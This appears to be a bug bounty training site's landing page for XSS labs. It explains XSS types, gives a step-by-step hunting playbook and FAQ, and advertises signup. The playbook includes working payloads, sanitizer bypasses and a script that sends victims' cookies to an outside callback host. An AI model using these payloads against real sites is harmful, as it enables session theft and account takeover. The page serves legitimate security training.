XSS labs
Cross-Site Scripting (XSS)
What is XSS?
Cross-Site Scripting (XSS) lets you inject malicious scripts into web pages that other users visit. It's one of the most reported vulnerabilities in bug bounty and can lead to session theft, phishing and account takeover.
Why practice XSS?
XSS accounts for a huge share of reports on HackerOne and Bugcrowd. Mastering its variants (Stored, Reflected, DOM, Blind) lets you find bugs other hunters walk past. XSS bounties range from $50 to $10,000+ depending on impact and the affected endpoint.
What will you learn with the XSS labs?
You'll learn to identify vulnerable contexts (HTML, attribute, JS, URL, JSON), build payloads that escape real sanitizers (DOMPurify, framework filters), abuse DOM gadgets, and prove end-to-end impact with cookie theft, account takeover and CSRF chaining.
Types of XSS we cover
- Reflected XSS
The payload is reflected from the URL/input into the server response without sanitization. Usually needs user interaction (clicking a link).
- Stored XSS
The payload is saved in the database (comments, profile, messages) and runs for everyone who views the resource. Higher impact.
- DOM-based XSS
The injection happens 100% in the browser (sinks like innerHTML, document.write, eval). Invisible to the server — bypasses traditional WAFs.
- Blind XSS
The payload fires in a private panel (admin, support) the attacker can't see directly. Detected with callbacks (XSS Hunter, Burp Collaborator).
- Escalated Self-XSS
XSS that only hits the attacker, escalated to a victim via login CSRF, an internal bot or SVG upload. A classic pattern in recent reports.
How do you find and exploit XSS?
A practical playbook — from recon to proof of concept.
- 1
Seed a unique marker
Inject a harmless canary with breaking characters into every reflected parameter and search for it in the response. It tells you whether your input lands unencoded and in which context.
bbtest'"><svg/ - 2
Identify the injection context
Look at where the canary lands: inside HTML, an attribute, a <script> block, a URL or JSON. Each context needs a different payload to break out.
<input value="bbtest"> → you must close the attribute: "><img...> - 3
Break the context and execute
Close the tag/attribute and fire an event that doesn't need <script> (usually filtered). onerror/onload are the most reliable.
"><img src=x onerror=alert(document.domain)> - 4
Bypass the sanitizer
If DOMPurify or the WAF filter the obvious stuff, try less common tags/events, mXSS mutations, mixed case or SVG/MathML.
<details open ontoggle=alert(document.domain)> · <svg><animate onbegin=alert(1) attributeName=x dur=1s> - 5
Test a DOM sink
For DOM XSS, hunt the JS for sinks like innerHTML, document.write, location or eval fed by location.hash/search without sanitization.
https://target/#<img src=x onerror=alert(document.domain)> - 6
Prove real impact
Don't stop at alert(1). Exfiltrate the session cookie or perform an authenticated action to raise severity and bounty. For blind XSS use a callback.
"><script>new Image().src='//x.oast.fun/c?'+document.cookie</script>
Learn the theory
Academy: Cross-Site Scripting (XSS)
Loading labs...
View in full catalog →Frequently asked questions
What is XSS?
Cross-Site Scripting is a vulnerability that lets you inject JavaScript into a website so it runs in other users' browsers, with the victim's session and permissions.
How is an XSS exploited?
You inject a payload (e.g. "><img src=x onerror=alert(document.domain)>) into a parameter the app reflects unencoded. When the victim loads that page, the code runs in their context and can steal cookies, make authenticated requests or take over the account.
How do you find XSS in bug bounty?
Fuzz every reflected parameter with a canary like bbtest'"><svg, identify the context it lands in and craft the payload that breaks out. For blind XSS, plant callback payloads (XSS Hunter, Burp Collaborator) in fields an admin or support agent will view.
How do you prevent XSS?
Encode output according to context (HTML, attribute, JS, URL), use frameworks with auto-escaping, sanitize rich HTML with DOMPurify and deploy a strict Content-Security-Policy without 'unsafe-inline'.
Difference between reflected, stored and DOM XSS?
Reflected bounces your input from the request into the response and needs a link. Stored is saved in the DB and hits everyone who views the resource (higher impact). DOM happens entirely in the browser via JS sinks, without the server ever seeing the payload.
Other related categories
- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Practice XSS in real labs
Every XSS lab replicates a real bug bounty report that got paid. Create your free account, start with the Academy and move to the labs whenever you want.
No card · free Academy · cancel anytime